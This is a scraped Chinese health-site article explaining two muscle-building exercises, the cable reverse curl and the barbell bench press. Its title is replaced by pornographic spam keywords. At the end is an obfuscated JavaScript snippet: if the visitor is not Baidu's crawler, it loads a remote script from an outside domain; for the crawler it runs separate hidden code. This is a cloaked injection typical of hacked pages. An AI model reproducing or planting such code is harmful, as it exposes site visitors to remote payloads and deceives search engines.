亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

各部分肌肉鍛煉方法有哪些

2017-04-15 09:51:11  來源:360常識網(wǎng)   熱度:
導(dǎo)語:相信絕大多數(shù)男性都想擁有健碩的胸肌、強(qiáng)健有力的臂膀、性感富有魅力的腹肌、結(jié)實(shí)的胸肌。但是身體各部分的肌肉鍛煉的方法都有很大的不同,

相信絕大多數(shù)男性都想擁有健碩的胸肌、強(qiáng)健有力的臂膀、性感富有魅力的腹肌、結(jié)實(shí)的胸肌。但是身體各部分的肌肉鍛煉的方法都有很大的不同,不是每一個(gè)人對這些鍛煉方式都有所掌握。有的人盲目的鍛煉,每天強(qiáng)度很大,讓身體精疲力盡,肌肉缺沒有被鍛煉出來。下面來介紹全身肌肉鍛煉的一些方法。

站姿拉力器單臂反握彎舉,重點(diǎn)鍛煉部位:主要健美肱二頭肌和肱肌,開始位置:自然站立,兩腳間距和肩同寬,挺胸收腹緊腰。右臂向下伸直置于體側(cè),掌心向前握住把柄一端。動(dòng)作過程:吸氣,屈肘慢慢向上拉開拉力器置右手接近右肩部,稍停2到3秒鐘,然后呼氣,緩慢還原,重復(fù)做。訓(xùn)練要點(diǎn):上拉時(shí),上體要保持平直,肘部不要前后搖動(dòng)。

杠鈴仰臥推舉,重點(diǎn)鍛煉部位:胸大肌、三角肌和肱三頭肌。絕大多數(shù)的冠軍健美運(yùn)動(dòng)員把仰握推舉作為鍛煉上身最好的動(dòng)作。開始位置:仰臥在平的臥推凳上,兩腳平踏在地上。兩手掌向上握住橫杠,兩手間距比肩稍為寬些,兩臂伸直支撐住杠鈴位于胸的上部。動(dòng)作過程:使兩直臂向兩側(cè)張開,兩臂慢慢彎屈,杠鈴垂直落下,直至橫杠接觸到胸部(大約接近乳頭線上方)。然后向上推起至開設(shè)位置,重復(fù)做。訓(xùn)練要點(diǎn):不要把背和臀部拱起或憋氣,這樣會(huì)使肌肉失去控制,是危險(xiǎn)的。

上面僅僅介紹了兩種身體肌肉鍛煉的項(xiàng)目,其實(shí)鍛煉身體肌肉的方式還有很多,比如說啞鈴臥推、雙杠雙臂屈伸、上斜杠鈴臥推、上斜啞鈴臥推、平臥啞鈴飛鳥、站姿雙臂側(cè)下拉夾胸等。這是鍛煉方法多數(shù)需要借助于健身器材,所以最好到健身館去進(jìn)行鍛煉。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}